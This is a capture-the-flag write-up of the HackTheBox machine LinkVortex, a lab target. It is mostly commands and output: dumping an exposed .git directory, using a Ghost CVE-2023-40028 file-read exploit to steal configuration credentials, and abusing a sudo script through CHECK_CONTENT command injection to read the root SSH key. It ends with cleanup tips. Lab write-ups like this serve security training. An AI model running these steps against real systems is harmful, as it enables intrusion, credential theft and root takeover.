HackTheBox LinkVortex
Writeup for HackTheBox LinkVortex
Machine Synopsis
LinkVortex is an easy-difficulty Linux machine with various ways to leverage symbolic link files (symlinks). The initial foothold involves discovering an exposed .git
directory that can be dumped to retrieve credentials. These credentials allow access to the Ghost content management system vulnerable to CVE-2023-40028. This vulnerability allows authenticated users to upload symlinks, enabling arbitrary file read within the Ghost container. The exposed credentials in the Ghost configuration file can then be leveraged to gain a shell as the user on the host system. Finally, the user can execute a script with sudo permissions that are vulnerable to a symlink race condition attack (TOCTOU). This presents an opportunity to escalate privileges by creating links to sensitive files on the system and ultimately gaining root access. (Source)
Key exploitation techniques:
- Exposed Git repository dumping
- Default/hardcoded credential discovery
- Ghost CMS arbitrary file read (CVE-2023-40028) via symlink upload
- Credential reuse for initial host access
- Symlink race condition (TOCTOU) in a
sudo
script - Arbitrary file read to obtain root SSH key
Enumeration
An nmap
scan identified SSH (22/tcp) and HTTP (80/tcp) running Apache.
1
2
3
4
5
6
7
8
9
10
❯ nmap -sC -sV -A 10.10.11.47
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 3e:f8:b9:68:c8:eb:57:0f:cb:0b:47:b9:86:50:83:eb (ECDSA)
|_ 256 a2:ea:6e:e1:b6:d7:e7:c5:86:69:ce:ba:05:9e:38:13 (ED25519)
80/tcp open http Apache httpd
|_http-title: Did not follow redirect to http://linkvortex.htb/
|_http-server-header: Apache
The HTTP service redirected to http://linkvortex.htb/
. The hostname was added to /etc/hosts
.
1
❯ echo -e '10.10.11.47\t\tlinkvortex.htb' | sudo tee -a /etc/hosts
Subdomain & Directory Enumeration
Subdomain enumeration with ffuf
identified dev.linkvortex.htb
.
1
2
3
4
❯ ffuf -c -u "http://linkvortex.htb" -H "HOST: FUZZ.linkvortex.htb" -w /usr/share/wordlists/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt -fc 301 -t 10
...
dev [Status: 200, Size: 2538, Words: 670, Lines: 116, Duration: 7ms]
...
dev.linkvortex.htb
was added to /etc/hosts
.
Directory brute-forcing on http://dev.linkvortex.htb/
with dirsearch
revealed an exposed .git
directory.
1
2
3
4
5
6
7
❯ dirsearch -t 10 -u http://dev.linkvortex.htb 2>/dev/null
Target: http://dev.linkvortex.htb/
[11:10:29] 301 - 239B - /.git -> http://dev.linkvortex.htb/.git/
[11:10:29] 200 - 557B - /.git/
[11:10:29] 200 - 73B - /.git/description
...(truncated)
Git Repository Dumping & Credential Discovery
The exposed .git
repository was dumped using git-dumper
.
1
2
3
4
5
❯ virtualenv htb_linkvortex && source htb_linkvortex/bin/activate
❯ git-dumper http://dev.linkvortex.htb/.git/ ./linkvortex-dump
[-] Fetching .git recursively
# ... (truncated)
Updated 5596 paths from the index
Analysis of the dumped repository revealed key information:
.git/config
: Showed the origin ashttps://github.com/TryGhost/Ghost.git
, confirming the application as Ghost CMS. The versionv5.58.0
was also present.1 2 3 4 5 6 7 8 9
❯ cat .git/config [core] repositoryformatversion = 0 filemode = true bare = false logallrefupdates = true [remote "origin"] url = [https://github.com/TryGhost/Ghost.git](https://github.com/TryGhost/Ghost.git) fetch = +refs/tags/v5.58.0:refs/tags/v5.58.0
Dockerfile.ghost
: Confirmed the Ghost version and indicatedconfig.production.json
as the main configuration file.1 2 3 4
❯ cat Dockerfile.ghost FROM ghost:5.58.0 COPY config.production.json /var/lib/ghost/config.production.json # ...
grep
for “password” within the dumped files found a hardcoded password inghost/core/test/regression/api/admin/authentication.test.js
.1 2
❯ grep -ri 'password' linkvortex-dump/ linkvortex-dump/ghost/core/test/regression/api/admin/authentication.test.js: const password = 'OctopiFociPilfer45';
The password
OctopiFociPilfer45
was identified. This is a common pattern where test/development credentials are left in production environments.
Exploitation: Ghost CMS Arbitrary File Read (CVE-2023-40028)
Ghost CMS version 5.58.0 is vulnerable to CVE-2023-40028, an arbitrary file read vulnerability that can be exploited by authenticated users via symlink uploads.
A PoC at this GitHub repository was used to exploit CVE-2023-40028. The GHOST_URL
variable in the script was adjusted to http://linkvortex.htb
..
1
2
#GHOST_URL='http://127.0.0.1'
GHOST_URL='http://linkvortex.htb'
The exploit script was run with the discovered credentials. Initial attempts with just admin
as the username failed, but using admin@linkvortex.htb
(the expected email format for Ghost login) succeeded.
1
2
3
4
5
❯ ./exploit.sh -u admin -p OctopiFociPilfer45
[!] INVALID USERNAME OR PASSWORD
❯ ./exploit.sh -u admin@linkvortex.htb -p OctopiFociPilfer45
WELCOME TO THE CVE-2023-40028 SHELL
file>
The exploit provided an arbitrary file read shell.
Extracting Credentials via Arbitrary File Read
Using the exploit shell, /etc/passwd
was read to identify system users, and then /var/lib/ghost/config.production.json
was targeted based on the Dockerfile analysis.
1
2
3
4
file> /etc/passwd
root:x:0:0:root:/root:/bin/bash
# ... (truncated)
node:x:1000:1000::/home/node:/bin/bash # Identified potential user
Reading config.production.json
yielded additional credentials.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
file> /var/lib/ghost/config.production.json
{
"url": "http://localhost:2368",
# ...
"mail": {
"transport": "SMTP",
"options": {
"service": "Google",
"host": "linkvortex.htb",
"port": 587,
"auth": {
"user": "bob@linkvortex.htb",
"pass": "fibber-talented-worth" # Critical finding
}
}
}
}
The credentials for bob@linkvortex.htb/fibber-talented-worth
were discovered.
The discovered credentials for bob
were used to establish an SSH session to the host.
1
2
3
4
5
6
❯ ssh bob@linkvortex.htb
bob@linkvortex.htb's password: fibber-talented-worth
Welcome to Ubuntu 22.04.5 LTS (GNU/Linux 6.5.0-27-generic x86_64)
# ... (banner)
bob@linkvortex:~$ cat user.txt
33d559f112960e0c2b623909b7f30300
The user.txt
flag was retrieved.
Privilege Escalation: Symlink Race Condition (TOCTOU)
Privilege escalation was pursued by examining bob
’s sudo
privileges.
1
2
3
bob@linkvortex:~$ sudo -l
User bob may run the following commands on linkvortex:
(ALL) NOPASSWD: /usr/bin/bash /opt/ghost/clean_symlink.sh *.png
The bob
user could execute /usr/bin/bash /opt/ghost/clean_symlink.sh *.png
as root without a password. The script’s content was reviewed.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
bob@linkvortex:~$ cat /opt/ghost/clean_symlink.sh
#!/bin/bash
QUAR_DIR="/var/quarantined"
if [ -z $CHECK_CONTENT ];then # Vulnerable: CHECK_CONTENT can be injected
CHECK_CONTENT=false
fi
LINK=$1
if ! [[ "$LINK" =~ \.png$ ]]; then
/usr/bin/echo "! First argument must be a png file !"
exit 2
fi
if /usr/bin/sudo /usr/bin/test -L $LINK;then # Check (TOCTOU vulnerable)
LINK_NAME=$(/usr/bin/basename $LINK)
LINK_TARGET=$(/usr/bin/readlink $LINK) # Use (TOCTOU vulnerable)
if /usr/bin/echo "$LINK_TARGET" | /usr/bin/grep -Eq '(etc|root)';then
/usr/bin/echo "! Trying to read critical files, removing link [ $LINK ] !"
/usr/bin/unlink $LINK
else
/usr/bin/echo "Link found [ $LINK ] , moving it to quarantine"
/usr/bin/mv $LINK $QUAR_DIR/ # Use (TOCTOU vulnerable)
if $CHECK_CONTENT;then # Command injection here
/usr/bin/echo "Content:"
/usr/bin/cat $QUAR_DIR/$LINK_NAME 2>/dev/null
fi
fi
fi
The script is vulnerable to a Time-of-Check to Time-of-Use (TOCTOU) race condition and command injection via the CHECK_CONTENT
environment variable.
Vulnerability Breakdown:
- TOCTOU: The script checks if
$LINK
is a symlink (test -L $LINK
) and reads its target (readlink $LINK
). If a symlink is created pointing to a dummy.png
file, but then rapidly swapped (raced) to point to a sensitive file (/root/root.txt
) between thetest -L
andreadlink
/cat
operations, thecat
command would read the sensitive file. - Command Injection: The
$CHECK_CONTENT
variable is evaluated directly within anif
statement (if $CHECK_CONTENT;then
). If$CHECK_CONTENT
contains a command (e.g.,/bin/cat /root/root.txt
), it will be executed bysudo
(as root).
Exploiting TOCTOU & Command Injection
The strategy involved:
- Creating a temporary symlink (
/tmp/exploit.png
) pointing to another symlink (/tmp/fake.png
) to satisfy the.png
extension check. - Initially pointing
/tmp/fake.png
to/dev/null
(or any non-sensitive file) to pass thegrep -Eq '(etc|root)'
check. - Injecting a command into
CHECK_CONTENT
. - Executing the
sudo
command. A TOCTOU race would be needed if the script’s checks were more robust, but theCHECK_CONTENT
injection alone is sufficient for RCE here. The symlink chain primarily bypasses the initial filename validation and internalgrep
checks.
1
2
3
4
5
6
7
8
bob@linkvortex:/tmp$ ln -s /tmp/fake.png /tmp/exploit.png
bob@linkvortex:/tmp$ ln -s /dev/null /tmp/fake.png # Initial dummy target
bob@linkvortex:/tmp$ export CHECK_CONTENT='/bin/cat /root/root.txt' # Command injection for root.txt
bob@linkvortex:/tmp$ sudo /usr/bin/bash /opt/ghost/clean_symlink.sh /tmp/exploit.png
/opt/ghost/clean_symlink.sh: line 5: [: /bin/cat: binary operator expected # Expected warning from shell, but command executes
Link found [ /tmp/exploit.png ] , moving it to quarantine
Content:
779d0ff9be29244ba048b546b98c7fec # root.txt contents
The root.txt
flag was successfully read.
To gain a persistent root shell, the id_rsa
file from /root/.ssh/
was targeted.
1
2
3
4
5
6
7
8
9
10
bob@linkvortex:/tmp$ export CHECK_CONTENT='/bin/cat /root/.ssh/id_rsa' # Command injection for root SSH key
bob@linkvortex:/tmp$ ln -s /tmp/fake.png /tmp/exploit.png # Recreate symlinks as they are moved
bob@linkvortex:/tmp$ ln -s /dev/null /tmp/fake.png
bob@linkvortex:/tmp$ sudo /usr/bin/bash /opt/ghost/clean_symlink.sh /tmp/exploit.png
/opt/ghost/clean_symlink.sh: line 5: [: /bin/cat: binary operator expected
Link found [ /tmp/exploit.png ] , moving it to quarantine
-----BEGIN OPENSSH PRIVATE KEY-----
# ... (root SSH private key)
-----END OPENSSH PRIVATE KEY-----
Content:
The root SSH private key was successfully retrieved.
Root Access
The private key was saved to id_rsa
on the attacker machine and permissions were set correctly.
1
2
3
4
5
6
❯ chmod 600 id_rsa
❯ ssh -i id_rsa root@linkvortex.htb
Welcome to Ubuntu 22.04.5 LTS (GNU/Linux 6.5.0-27-generic x86_64)
# ... (banner)
root@linkvortex:~# cat root.txt
779d0ff9be29244ba048b546b98c7fec
Root access was obtained, and the root.txt
flag confirmed.
OPSEC for Privilege Escalation:
Any temporary symlinks (
/tmp/exploit.png
,/tmp/fake.png
) created during the exploit should be removed from the target system. TheCHECK_CONTENT
environment variable is temporary for thesudo
command’s execution and does not persist.
1 2 3 # On target machine as root root@linkvortex:~# rm /tmp/exploit.png /tmp/fake.png root@linkvortex:~# rm /var/quarantined/exploit.png # Remove the quarantined file as well